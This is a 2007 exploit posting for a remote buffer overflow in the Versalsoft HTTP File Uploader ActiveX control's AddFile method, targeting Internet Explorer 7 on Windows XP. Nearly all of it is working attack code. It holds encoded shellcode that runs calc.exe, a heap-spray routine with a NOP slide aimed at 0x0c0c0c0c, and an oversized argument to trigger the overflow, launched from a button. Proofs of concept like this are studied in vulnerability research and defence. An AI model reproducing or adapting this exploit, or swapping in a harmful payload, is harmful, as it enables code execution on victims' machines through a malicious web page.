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versalsoft-overflow.txt

Posted on 20 July 2007

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------
<b>Versalsoft HTTP File Uploader (UFileUploaderD.dll v. 6.0.0.38) "AddFile()" method
Remote Buffer Overflow Ecploit (Heap Spray Technique)</b>
url: http://en.versalsoft.com/
price: from $59.95 to $799.95

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
<b>This exploits executes calc.exe</b>
-----------------------------------------------------------------------------------

<object id=boom classid="clsid:28776DAD-5914-42A7-9139-8FD7C756BBDD" style="WIDTH: 578px; HEIGHT: 228px"></object>

<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">

<script>
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");

var spraySlide = unescape("%u9090%u9090");
var heapSprayToAddress = 0x0c0c0c0c;

function tryMe()
{
var size_buff = 6200;
var x =  unescape("%0c%0c%0c%0c");
while (x.length<size_buff) x += x;
x = x.substring(0,size_buff);

boom.AddFile(x);
}

function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}

var heapBlockSize = 0x400000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);

var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

var memory = new Array();
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide +  shellcode;
}
</script>
</span></span>
</code></pre>

 

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